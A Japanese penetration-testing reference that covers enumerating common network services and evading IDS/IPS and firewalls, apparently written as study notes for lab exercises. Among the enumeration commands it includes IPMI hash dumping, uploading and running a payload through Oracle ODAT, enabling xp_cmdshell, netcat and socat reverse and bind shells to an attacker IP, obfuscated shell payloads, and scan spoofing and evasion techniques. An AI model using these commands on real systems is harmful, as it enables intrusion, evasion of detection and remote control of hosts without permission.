1.スキャニング

特定サービスへの接続しサービス稼動可否/種別の識別方法、FWやIDS/IPSの回避方法を記載する。

1.1. サービスへの接続

1.1.1. FTP(21)

FTPはファイル転送プロトコルと呼ばれ、異なるシステムの異なるコンピュータ間でのファイル転送を効率的に行うために開発された。

TelnetによるFTP接続

TelnetでFTP接続を行うことも可能。 しかしTelnetではファイルを転送はできない

  1. telnet IPアドレス 21
  2. ユーザ名/パスワードを入力しEnter

ログイン後は以下コマンドで操作が可能。

# ログイン
USER [ユーザ名]
PASS [パスワード]

# 追加情報の表示(システムタイプの表示)
SYST

# パッシブモード/アクテイブモードの切り替え
PASV

# TYPE [A|I]でファイル転送モードをASCII/Binaryに切り替え
TYPE [A|I]

FTPへの接続

ftp [IPアドレス | URL]

anonymous FTPの場合のユーザ名はanonymous

FTPのコマンド

ftp> [コマンド]
コマンド説明
USER (username)
PASS (password)
ログイン情報の記述。
ls -la隠しファイルも表示。。
get (リモートファイル名) (ローカルファイル名)サーバのファイルをパソコンに転送。
mget (リモートファイル名 […])サーバの複数のファイルをパソコンに転送。
mput (ローカルファイル名 […])パソコンの複数のファイルをサーバに転送。
put (ローカルファイル名) (リモートファイル名)パソコンのファイルをサーバに転送。
type (転送モード)現在のファイル転送モードを表示。
passiveパッシブモードへの変換
binarybinaryモードへの変換(ファイルDL時に使用)

1.1.2. SSH(22)

SSH(Secure-Shell)はリモート システム管理のための安全な方法を提供するために作成されたプロトコル。 Telnetに対して以下機能が追加された。

  • リモートサーバーの身元を確認できる機能
  • メッセージの暗号化
  • メッセージの変更の検出機能

ssh

# SSH接続
ssh ユーザ名@IPアドレス

scp

SCPコマンドによるセキュアなファイル転送

scp ユーザ名@IPアドレス:[ファイルパス] [クライアントのファイルパス]

SSHポートフォワーディング

ローカルポートフォワーディングリモートポートフォワーディングがある。 共に対象マシンの特定のポートで作動しているサービスをlocalhostでアクセスできるようにするのは共通だがコマンド発行元が異なる

  • ローカルポートフォワーディング * コマンドは自分のホストで発行 * ssh -L リモートポート:127.0.0.1:ローカルポート ユーザ名@IPアドレス
  • リモートポートフォワーディング * コマンドは相手のホストで発行

1.1.3. TELNET(23)

Telnetは別のコンピュータの仮想端末に接続するために使用されるアプリケーション層プロトコル。 ユーザーは別のコンピュータにログインし、その端末 (コンソール) にアクセスして、プログラムを実行したり、バッチ プロセスを開始したり、システム管理タスクをリモートで実行したりできる。

なおTelnetクライアントと Telnetサーバー間の通信はすべて暗号化されていない

Telnetでの接続

telnet [IPアドレス]

1.1.4. SMTP(25, 465, 587)

SMTPはMTA間で使用されるメール転送プロトコル。 SMTPのポートが開いているとMTAサーバの機能を提供していると推測できる。

SMTPは平文を使用し、すべてのコマンドが暗号化なしで送信されるため、基本的な Telnetクライアントを使用して SMTPサーバに接続し、メッセージを送信する電子メール クライアント(MUA)として機能できる。

TelnetによるSMTP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 25
  2. ユーザ名/パスワードを入力しEnter
# SMTPセッションの開始
HELO

# 指定したユーザのメールボックスが存在するか確認
VRFY <ユーザ名>

# 指定したメーリングリストのアドレスを確認
EXPN <メールアドレス>

# SMTPセッションの開始
EHLO

# 差出人指定
MAIL FROM: <送信元のメールアドレス>

# 宛先指定
RCPT TO: <送信先のメールアドレス>

# 本文入力開始
DATA

# セッション終了
QUIT

smtp-user-enum

辞書ファイルを使用してメールサーバにユーザが存在するか確認するコマンド。

smtp-user-enum -M VRFY -U <辞書ファイル> -t <IPアドレス>

# よく使うコマンド
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -t <IPアドレス>

1.1.5. DNS(53)

Domain名からIPアドレスを求めるためのプロトコル。

コチラからもDNSの調査に関する項目を確認可能。

hostコマンド

hostコマンドによりレコード確認が可能。

host -t txt megacorpone.com
  • -NS(ネームサーバーレコード)…ドメインのDNSレコードをホストする権威サーバーの名前が含まれる
  • -A(ホストレコード)…ホスト名のIPアドレスが含まれている
  • -MX(mail Exchangeレコード)…ドメインの電子メール処理を担当するサーバーの名前が含まれている
  • -PTR(ポインタレコード)…逆引きで使用されIPアドレスに関連するレコードを見つけるために使用される
  • -TXT(テキストレコード)…テキストレコードは任意のデータを含むことができ、ドメインの所有権確認などを行える

nslookupコマンド

ドメイン名を特定できる。

nslookup
> server [DNSサーバのIPアドレス]
> [IPアドレス]

サブドメインの列挙

以下ツールなどが使用可能。

  • DNSゾーン転送設定の確認
    • host -l <domain name> <dns server address>
  • DNSRecon
    • ゾーン転送:dnsrecon -d [ドメイン名] -t axfr
    • ブルートフォース:dnsrecon -d [ドメイン名] -D ~/list.txt -t brt
  • DNSmap
    • dnsmap [ドメイン名] -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt

1.1.6. HTTP(80)

暗号化を行わないWEBのプロトコル。

WEBの調査はコチラから。

HTML内の調査

HTML内で調査する箇所は以下の通り。

  • HTMLファイルのコメントアウト
  • HTMLのHEADタグ内(curlコマンドなど)

TelnetによるHTTP通信

TelnetでHTTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 80
  2. GET /[ページURI] HTTP/1.1を入力しEnter
  3. host: telnetを入力しEnter
  4. Enterを2回押す

Nmapによる調査

nmap -n -Pn <IPアドレス> -p 80 --script http-enum

whatweb

whatwebはCMS名やWebサーバ名を取得するコマンド

whatweb -v <IPアドレス>

1.1.7. POP3(110)

POP3はメール配信エージェント(MDA)サーバから電子メールメッセージをダウンロードするために使用されるプロトコル

TelnetによるPOP3接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 110
  2. ユーザ名/パスワードを入力しEnter
# ログイン
USER [ユーザ名]
PASS [パスワード]

# 受信ボックス内の件数を表示
STAT

# 受信メールの一覧を表示
LIST

# 番号のメッセージを取得
RETR [メール番号]

# 番号のメッセージを削除
DELE [メール番号]

1.1.8. IMAP(143,993)

IMAPはPOP3より洗練されたプロトコルで複数のデバイス (およびメールクライアント) 間で電子メールの同期を維持できる

TelnetによるIMAP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 143
  2. ユーザ名/パスワードを入力しEnter

IMAPでは、応答を追跡できるように、各コマンドの前にランダムな文字列を付ける必要がある

1.1.9. NFS(111)

NFS(Network File System)はクライアントコンピュータのユーザがあたかもローカルにマウントされたストレージ上にあるかのようにファイルにアクセスすることを可能にするプロトコル

NFSはUNIX系OSで使用されることが多く、その実装は安全ではない。

nmapによるNFS調査

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [IPアドレス]

nmap -p 111 --script nfs* [IPアドレス]

/usr/sbin/showmountを使用したNFS共有の一覧表示

/usr/sbin/showmount -e [IPアドレス]

NFSのマウント

mountコマンドを使用することでファイルのアクセスが可能になる。

mkdir /tmp/mount
sudo mount -t nfs [IPアドレス]:/home /tmp/mount/ -nolock
cd /tmp/mount && ls

1.1.10. SMB(139,445)

NmapによるSMBの列挙

# 共有とユーザー名の列挙
nmap -p 445 --script=smb-enum-shares,smb-enum-users [IPアドレス]

# SMBによるOSの検出や列挙(smb-os-discovery):
nmap -v -p 139, 445 --script=smb-os-discovery [IPアドレス]

# SMBプロトコルの既知の脆弱性をチェックする場合:
# (unsafe=1にした場合、脆弱なシステムをクラッシュさせてしまう可能性があるので、本番システムをスキャンする場合は注意)
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 [IPアドレス]

enum4linux

Enum4linux はWindows と Linux システムの両方でSMB共有を列挙するために使用されるツール。 基本的に Samba パッケージ内のツールのラッパーであり、SMB に関連する情報をターゲットから簡単に迅速に抽出できるようになっている。

enum4linux [IPアドレス]
オプション説明
-S共有リスト取得
-Uユーザリスト取得
-oOS情報取得
-A全ての基本的な列挙
-Mマシンリストを取得
-Nネームリストダンプを取得 (-U および-M とは異なります)
-Pパスワードポリシー情報を取得
-Gグループとメンバーのリストを取得

smbclient

smbclientはサーバ上のSMB/CIFSリソースにアクセスするftpのようなクライアントツール

よく使うコマンドは以下の通り。

# SMBで共有されている共有名の調査
smbclient -L //[IPアドレス] -N
# SMBで共有名にアクセス
smbclient //[IPアドレス]/[共有名] -N
# SMBで共有名にログイン情報付きでアクセス
smbclient //[IPアドレス]/[共有名] -U [ユーザ名] -p [ポート番号]
# ユーザ名から共有名の列挙
smbclient -U [ユーザ名] -L target.local
# 現在地のファイル一覧表示
smb> [dir / ls]
# ファイルのダウンロード
smb> get [ファイル名]
# まとめてファイル取得
smb> mget [ファイル名]
# ファイル転送
smb> put [ファイル名] [転送元]
# ファイルの内容表示
smb> more "ファイル名"

smbmap

smbmapは共有ドライブ名、パーミッション、ドライブ内のコンテンツを列挙するツール

smbmap -H <IPアドレス> ( -R -u <ユーザ名> -p <パスワード>)

SMB共有フォルダのマウント

sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=
sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=

1.1.11. NetBIOS(139)

NetBIOSはLAN上のコンピュータが相互に通信できるようにするセッション層のプロトコル

Nmapによるスキャン

nmap -v -p 139,445 -oG result.txt [IPアドレス]

nbtscan

nbtscanはネットワーク上に存在するNetBIOS名をスキャンするコマンド。 オプション-rを使用することで発信元のUDPポートを137に指定している。

sudo nbtscan -r [IPアドレス]/24

nmblookup

nmblookupはNetBIOS名とIPアドレスの変換を行うコマンド。

nmblookup -A <IPアドレス/NetBIOS名>

rbcclient

MS-RPCを使用して情報列挙が可能なコマンド。

rpcclient <IPアドレス> -U "" -N

1.1.12. SNMP(161,162,10161,10162)

SNMPはTCP/IPネットワークに接続された通信機器(ルータ、スイッチ、サーバなど)に対して、ネットワーク経由で監視、制御するためのUDPベースのアプリケーション層プロトコル。 以下の情報を入手可能。

  • システム名
  • ハードウェアタイプ
  • アカウント情報
  • サービス一覧
  • 導入アプリケーションの種類
  • TCP/UDP接続情報

SNMP1,2,2cではトラフィックの暗号化が行われていないため、SNMP情報や認証情報をローカルネットワーク上で傍受することができてしまう。 MIBはネットワーク管理に関連する情報を含むデータベースのことでツリー上になっている。 その下にSNMPコミュニティと呼ばれるSNMPで管理するネットワークシステムの範囲を定めたものがある。

snmp-check

SNMPで得られる情報を列挙するコマンド。

snmp-check 192.168.124.42
snmp-check -c <コミュニティ名> -v <SNMPバージョン(1,2,2c)> <IPアドレス>

onesixtyone

SNMPエージェント機能が有効なホストを探すコマンド。

onesixtyone <IPアドレス/CIDR> <コミュニティ名>
onesixtyone <IPアドレス>  -c <コミュニティ名辞書ファイル>

Windows SNMPの列挙

kali@kali:~$ snmpwalk -c [コミュニティ文字列を指定] -v[SNMPバージョン番号の指定] -t [タイムアウト期間の設定:10] 10.10.10.1
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPAT
IBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (2005539644) 232 days, 2:56:36.44
iso.3.6.1.2.1.1.4.0 = ""

1.1.13. IKE(500)

IKEはIPsecVPNやL2TP/IPsecVPNでの認証/鍵交換に使用されるプロトコル。

sudo nmap [IPアドレス] -p 500 -sUV

ike-scanを用いた設定の確認

ike-scanを使用すると暗号アルゴリズムや認証方式の設定の一部を確認できる場合がある。

# 通常のスキャン
ike-scan -M [IPアドレス]
# アルゴリズムAES-256, ハッシュSHA1、認証方式:事前共有鍵、DHグループ:2048bitで接続確認
ike-scan -M [IPアドレス] --trans=7/256,2,1,14

また接続確立できるアルゴリズムを見つけるにはコチラのサイトが使える。
要約すると以下のブルートフォース攻撃をする必要がある。

# 全アルゴリズム/ハッシュ等のパターンをike-dict.txtに書き込む
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

1.1.14. IPMI(623)

IPMIは遠隔からネットワークを通じてコンピュータのハードウェアの状態を監視したり、管理のための操作を行なうための標準インターフェース規格のこと。

# ポート開放の確認
sudo nmap -sU -p 623 -sC -sV [IPアドレス]

# バージョン特定
msf6 > use auxiliary/scanner/ipmi/ipmi_version

# IPMI2.0の脆弱性を利用したパスワードハッシュのダンプ
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
# ダンプしたパスワードハッシュのクラック
hashcat -m 7300 hash /usr/share/wordlist/rockyou.txt

# impipwner.pyを利用したパスワードハッシュのダンプとクラック
sudo python3 ipmipwner.py --host [IPアドレス] -c john -oH hash -pW /usr/share/wordlists/rockyou.txt

1.1.15. Rsyncd(873)

RsyncはUNIXシステムにおいて使用される遠隔地間のファイルやディレクトリの同期を行うアプリケーションソフトウェアのこと。 差分符号化を使ってデータ転送量を最小化して行われる。

netcatを使用した列挙

nc -nv [IPアドレス] 873
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
fox             fox home
@RSYNCD: EXIT
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g # → これはパスワードが必要であることを意味する

nmapを使用した列挙

nmap -sV --script "rsync-list-modules" -p 873 [IPアドレス]
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nmap -sV --script "rsync-list-modules" -p 873 192.168.227.126
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 13:05 JST
Nmap scan report for 192.168.227.126
Host is up (0.26s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules:
|_  fox                 fox home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds

1.1.16. Microsoft SQL Server(1433)

Microsoft SQL Serverはマイクロソフトが開発する関係データベース管理システム

インストール/アクセス

sudo apt install sqlcmd
sqlcmd -U [ユーザ名] -S [接続先]

# or

sqsh -U [ユーザ名] -S [接続先]

mssqlclient.py(imppacket)を利用したコマンドの実行。

まずimpacketをGithubよりインストール。 ~/impacket/examples/mssqlclient.pyでコマンドを実行。

mssqlclient.py <ユーザ名>@<IPアドレス> -windows-auth

xp_cmdshellを利用したコマンド実行

# xp_cmdshellの有効化
-- アドバンスオプションの変更を許可
1> EXECUTE sp_configure 'show advanced options', 1;  
2> go  
-- アドバンスオプションの現在の設定を更新
1> RECONFIGURE;  
2> go  
-- xp_cmdshellを有効化
1> EXECUTE sp_configure 'xp_cmdshell', 1;  
2> go  
-- 更新
1> RECONFIGURE;  
2> go  

1.1.17. Oracle TNS Listener(1521)

Oracle Net Listenerはデータベース・サーバー・コンピュータで実行される独立したプロセス。 着信中のクライアント接続要求を受信し、データベース・サーバーに対する要求の通信量を管理する。

インストール

sudo pip3 install cx_Oracle
sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

コマンドと操作

# All Check
python3 odat.py all -s 10.10.10.82 -p 1521

# SIDの特定
python3 odat.py sidguesser -s 10.10.10.82 -p 1521
[+] SIDs found on the 10.10.10.82:1521 server: XE

# 認証情報の特定(-dは特定したSIDを指定)
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE

# 認証情報の特定(アカウントファイルの指定)
ここではmetasploitのoracle用ファイルを使用
ただし、ODATでは認証情報のファイルに「/」で区切ったものが必要なためEmacsなどでスペースと/を置き換える。
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file oracle_default_userpass.txt
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger

# 権限の確認
ファイルのアップロード権限(utlfile)や実行権限(externaltable)を列挙
python3 odat.py all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba

# ペイロードのアップロード
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile "c:\Windows\Temp" "shell.exe" "shell.exe"
[+] The shell.exe file was created on the c:\Windows\Temp directory on the 10.10.10.82 server like the shell.exe file

# アップロードしたペイロードの実行
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec "C:\Windows\Temp" "shell.exe"
[1] (10.10.10.82:1521): Execute the shell.exe command stored in the C:\Windows\Temp path
# データベースへ接続
sqlplus SCOTT/[email protected]:1521/XE
# as sysdbaはOracle版sudo
sqlplus SCOTT/[email protected]:1521/XE as sysdba

1.1.18. MySQL(3306)

MySQLはオープンソースのリレーショナルデータベース管理システム。

mysql -u root -p
mysql -u root -p -h [IPアドレス | ホスト名] -P [ポート番号]
mysql -u root -e 'SHOW DATABASES;'
オプション説明
-Dデータベースの指定 \
-eCMDからSQLコマンドを実行
-hホスト名の指定
-pパスワードの指定
-uユーザ名の指定

MySQL(MariaDB)への接続

mysql -h [接続先ホスト] -u [ユーザ名] -p [パスワード]

基本的なMySQLコマンド

# データベース一覧の確認
mysql > show databases;
mysql > select database();

# データベースの選択
use [データベース名];

# データベースの追加
mysql > create database [データベース名];

# テーブル一覧の表示
mysql > show tables;

# 全レコードを選択
SELECT * FROM <テーブル名>;

# テーブル構造の確認(フィールドを整理して表示してくれるため、下記のユーザ情報取得をすると見やすい)
describe <テーブル名>;

# ユーザ情報取得
SELECT Host, User, Password FROM <テーブル名>;
# ユーザの追加
create user <追加するusername>@<host name> IDENTIFIED BY <password>;
# 権限付与
grant all privileges on test_db.* to <username>@<host name> IDENTIFIED BY <password>;

1.1.19. PostgreSQL(5432)

PostgreSQLもMySQLと同様のリレーショナルデータベース管理システムの1つ。

psql -h [IPアドレス | ホスト名] -U postgres
psql -h [IPアドレス | ホスト名] -p 5437 -U postgres
オプション説明
-hホスト名の指定
-Uユーザ名
-pポートの指定

基本的なPostgreのコマンド

# PostgreSQL ディレクトリの一覧
postgres=# select pg_ls_dir('./');

# サーバ側のpostgresファイル読み取り
postgres=# select pg_read_file('PG_VERSION', 0, 200);

1.1.20. Redis(6379)

1.2. IDS/IPSの回避

1.2.1. シグネチャベースのIDS/IPS回避方法

シグネチャベースのIDS/IPSを回避するには、トラフィックを操作してIDS/IPSシグネチャに一致しないようにすることが重要になる。
IDS/IPSを回避するための一般的なアプローチは以下の通り。

  • プロトコル操作による回避
  • ペイロード操作による回避
  • ルート操作による回避
  • 戦術的なサービス拒否(DoS)による回避

1.2.2. プロトコル操作による回避

プロトコル操作による回避には以下の方法がある。

  • 別のプロトコルへの依存
  • (送信元)TCP / UDPポートの操作
  • セッションスプライシング(IPパケットの断片化)の使用
  • 無効なパケットの送信

別のプロトコルへの依存

IDS/IPSは、特定のプロトコルをブロックし、他のプロトコルを許可するように設定されていることが多い。

これはIPS/IDSがディープパケットインスペクション(DPI)をしない限りは通常の通信と区別できないことを示す。

これはホストに侵入出来たときポート待ち受けを設定する際に、IPS/IDSの設定が443ポートを信頼している場合は443ポートで待ち受けをさせる、SMTP(25)を進退している場合は25ポートで、SNMP(162)を信頼している場合は162で待ち受けさせれば検出されない可能性があるということになる。

(送信元)TCP / UDPポートの操作

IDS/IPSでは一般的に、TCPおよびUDPの送信元ポートと宛先ポートはほぼ必ず検査される。 また、ディープパケットインスペクション(DPI)がない場合はポート番号が使用されているサービスの主な指標となる。

つまりIDS/IPSがTCPセグメントによって伝送されるデータを分析できない限り、TCPポート22を使用するネットワークトラフィックはSSHトラフィックと解釈されてしまう。(ポート番号でしかトラフィックの種類を判別できない)

これはポートスキャンのトラフィックをWebブラウジングやDNSクエリに似せることができることを意味する。
Nmapを使用している場合は-g [ポート番号](または--source-port [ポート番号])で Nmapのすべてのトラフィックを特定の送信元ポート番号から送信するように設定できる。

Nmapの例は以下の通り。

# トラフィックがHTTPサーバと通信しているように偽装
nmap -sS -Pn -g 80 -F <IPアドレス>
# トラフィックがDNSサーバと通信しているように偽装
nmap -sU -Pn -g 53 -F <IPアドレス>

Ncatの接続例は以下の通り

## DNSポートで待ち受け通信をDNSのように偽装する例
# 1.攻撃機で53ポートで待ち受け
ncat -ulvnp 53
# 2.ターゲットで以下コマンドで攻撃機に接続
ncat -u <攻撃機のIP> 53

## HTTPポートで待ち受け通信をWeb閲覧のように偽装する例
# 1.攻撃機で53ポートで待ち受け
ncat -lvnp 80
# 2.ターゲットで以下コマンドで攻撃機に接続
nc <攻撃機のIP> 80

セッションスプライシング(IPパケットの断片化)の使用

セッションスプライシングは攻撃に関連するパケットを小さなパケットに分割することで、IDSシグネチャの照合を回避できるという考え方

IDSが悪意のあるペイロードを検出するために特定のバイトストリームを検索している場合は、ペイロードを複数のパケットに分割させる。このときIDSがパケットを再構成しない限り、ルールはトリガーされない。

Nmapのパケット断片化オプションは以下の通り。

  • -f : IPパケット内データを8Byteに設定
  • -ff: IPパケット内データを16Byteに設定
  • -mtu <サイズ(8の倍数)>: IPパケット内で伝送されるデータのカスタムサイズ(Byte)を指定

無効なパケットの送信

IDS/IPSは無効なパケットを処理する一方で、ターゲットシステムはそれを無視することがある。これは無効なパケットがIDS/IPSを透過しターゲットをスキャンできる可能性があることを示す。

Nmapでは以下の条件を満たすパケットを作成しターゲットをスキャンできる。

  • 無効なTCP / UDPチェックサム
    • --badsumオプションの使用
  • 無効なTCPフラグ
    • --scanflagsオプションの使用

無効なパケットの送信にはnmapよりhping3が推奨される。(カスタム性が高いため)

1.2.3. ペイロード操作による回避

ペイロード操作によるIPS/IDS回避は以下が含まれる。

  • ペイロードの難読化とエンコード
  • 通信チャネルの暗号化
  • シェルコードの変更

ペイロードの難読化とエンコード

IDSルールは非常に具体的な設定がされるため、小さな変更を加えることで検出を回避することが望める。変更には、追加バイトの追加、攻撃データの難読化、通信の暗号化などがある。

例として、ncat -lvnp 1234 -e /bin/bashを難読化したい場合、Base64、URLエンコーディング、Unicodeエスケープシーケンスなどがある。

  • ncat -lvnp 1234 -e /bin/bashをエンコードする例
    • BASE64の場合: bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==
    • URLエンコードの場合: ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash
    • Unicodeエンコードの場合: \u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\

URLエンコード後は、IDS/IPSシグネチャの一致内容によっては、URLエンコードを行うと検出を回避できる場合がある。
また一部のアプリケーションでは、Unicodeエスケープを使用しても入力を適切に処理し、実行する場合があり、これを利用することもできる。

CyberChefを利用した変更例は以下の通り

  1. 「Escape Unicode Characters」を検索
  2. レシピ列に上記をドラック
  3. Prefixに「\u」で「Encode All Characters」にチェック
  4. Paddingに「4」で「Uppercase hex」にチェック
  5. 対象文字を入れて変換する

通信チャネルの暗号化

IDS/IPSは暗号化されたデータを検査しないため、攻撃者は暗号化を利用して検出を回避できる。なおエンコードとは異なり、暗号化には暗号化キーが必要となる。

これを実現する直接的なアプローチの一つは、攻撃者のシステム上に必要な暗号化キーを作成し、socatその暗号化キーを使用して着信接続をリッスンする際に暗号化を強制するように設定すること。暗号化されたリバースシェルは、以下の3つのステップで実行できる。

  1. キーの作成
  2. 攻撃者のマシンでリッスンする
  3. 攻撃対象から攻撃者のマシンに接続する

Linux環境での通信チャネルを暗号化してシェルを張る実行例は以下の通り。

# 1. opensslによるキーの作成例
# 以下コマンドでは秘密鍵「hck-reverse.key」と証明書「thck-reverse.crt」が作成される
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.hacking.com/O=Red Team/C=JP' -nodes -keyout hck-reverse.key -out hck-reverse.crt
# 2. 上記2つを連結させて「.pem」の作成
cat hck-reverse.key hck-reverse.crt > hck-reverse.pem
# 3. Socatでクライアントとの通信を暗号化するためのキーを使用しながらリッスン
socat -d -d OPENSSL-LISTEN:4443,cert=hck-reverse.pem,verify=0,fork STDOUT
# 4. 攻撃対象で以下コマンドを実行
socat OPENSSL:<攻撃機のIP>:4443,verify=0 EXEC:/bin/bash

シェルコードの変更

シェルコードの簡単な変更でシグネチャの不一致で検出されない場合がある。
例としてターゲットでncat -lvnp 1234 -e /bin/bashでバインドシェルを実行させる場合を考える。

  • ncat -lvnpのフラグ-lvnpの順序を変更する
  • ncat -lvnp 1234 -e /bin/bashに余計な空白を加える
  • ncatではなく別のユーティリティ(ncsocat)を使用する

1.2.4. ルート操作による回避

ルート操作によるIDS/IPS回避は以下が含まれる。

  • ソースルーティングの使用
  • プロキシサーバー使用

ソースルーティングの使用

ソースルーティングを使用することで、パケットが特定のルートを経由して宛先に到達するように強制することができる。
Nmapの場合は--ip-optionsオプションで設定可能。

  • 例:--ip-options "L 10.10.10.50 10.10.50.250"オプション
    • スキャンパケットが指定された 2 つの IP アドレスを経由してルーティングされるようにする
    • Lはルーズルーティング
  • 例:--ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"
    • パケットがターゲットホストに到達する前にこれらの3ホップを経由することを指定
    • Rは厳密ルーティング

プロキシサーバの使用

プロキシサーバを使用するとターゲット端末から見て、攻撃機のソースIPを隠匿できる。 Nmapでは--proxiesオプションでプロキシURLをカンマ区切りでリスト化できる。 なお対応プロトコルはHTTPとSOCKS4。

# Proxyを2つ経由させる例
nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 <ターゲットIP>

1.2.5. 戦術的なサービス拒否による回避

戦術的DoSによるIDS/IPS回避には次のものが含まれる。

  • IDS / IPSに対するサービス拒否攻撃の開始
  • ログサーバーに対するサービス拒否攻撃の実行

IDS/IPSは、ルール数の増加やネットワークトラフィック量の増加に伴い、高い処理能力を必要となる。さらに、特にIDSの場合、シグネチャに一致するトラフィック情報のログ記録が主な対応となるため、以下の点に留意すると効果的といえる。

  • IDS/IPSの処理能力を過負荷にするような大量の無害なトラフィックを作成する
  • ログに記録される可能性のある、悪意のないトラフィックを大量に生成し、ログサーバーとの通信チャネルが混雑したり、ディスク書き込み容量を超えたりさせることを狙う

1.2.6. C&CサーバのIDS/IPS回避

Cobalt StrikeやEmpireなどの侵入テストフレームワークは、柔軟なコマンド&コントロール(c2)プロファイルを提供している。これを利用すると IDS/IPSを回避するための様々な微調整が可能となる。以下パラメータを調整することでIDS/IPSの回避を目指す。

  • User-Agent
  • スリープ時間
  • ジッター
  • 本物の信頼できるようなSSL証明書
  • DNSビーコン

1.3. ファイヤーウォールの回避

1.3.1. アプライアンスファイヤーウォールの回避

ファイアウォールの背後にあるホストをスキャンする場合、ファイアウォールは通常、ポートスキャンを検出してブロックする。このような状況では、ファイアウォールを回避するためにネットワークとポートスキャンを調整する必要がある。

パケットの改造で回避を望める方法は以下の通り。

  • 送信元MAC/IP/ポートの制御による回避
  • フラグメンテーション、MTU、データ長による回避
  • ヘッダーフィールドの変更による回避

また一般的なFWの回避方法は以下の通り。

  • ポートホッピングによる回避
  • ポートトンネルによる回避
  • 非標準ポートの使用

1.3.2. 送信元MAC/IP/ポートの制御による回避

Nmapでは以下を使用できる。

  • おとりによる隠蔽
  • プロキシによる隠蔽
  • 偽装されたMACアドレス
  • 偽装された送信元IPアドレス
  • 固定送信元ポート番号

おとりによる隠蔽

Nmapでは-Dオプションを使用すると、デコイ送信元IPアドレスを追加してターゲットを混乱させることができる。

# 10.10.10.1,10.10.10.2のデコイを混ぜたスキャン例
nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F <ターゲットIP>
# 完全ランダムなIPからのデコイを混ぜたスキャン例
nmap -sS -Pn -D RND,RND,ME -F <ターゲットIP>

プロキシによる隠蔽

ポートスキャンをプロキシ経由で中継することで、ターゲットホストにIPアドレスを知られずに済む。
Nmapでは--proxies <PROXY_URL>でプロキシの設定が可能。

nmap -sS -Pn --proxies <PROXY_URL> -F <ターゲットIP>

偽装されたMACアドレス

Nmapでは、--spoof-mac <MAC_ADDRESS>オプションを使用してMACアドレスを偽装できる。

MACアドレスの偽装はシステムがターゲットホストと同じネットワークセグメント上にある場合にのみ機能する。同じネットワークセグメント上になく、同じイーサネットを共有している場合、応答をキャプチャして読み取ることはできない。これにより、MACアドレスに基づく信頼関係を悪用することが可能となる。

さらに、この手法を使用して、ネットワーク上のスキャン活動を隠すことも可能。例えば、スキャンがネットワークプリンタから送信されたように見せることができる。

ベンダーOUI前半6桁
TP-Link00-19-E0 / A8-15-4D
Buffalo00-1D-73
Fujitsu00-02-DC
Brother00-80-77
EPSONA4-EE-57
NEC00-00-4C
Ricoh00-26-73
Cisco00-1D-72 / A8-0C-0D

偽装された送信元IPアドレス

Nmapでは-S [IPアドレス]オプションで送信元IPアドレスを偽装できる。
IPアドレスの偽装は攻撃機がターゲットホストと同じサブネット上にある場合に有効となる。そうでない場合はターゲットホストからの応答を読み取ることができない。

固定送信元ポート番号

ファイアウォールがポート53や80など、特定の送信元ポート番号からのパケットの受信を許可していることがわかった場合、特定の送信元ポート番号からのスキャンが役に立つ。
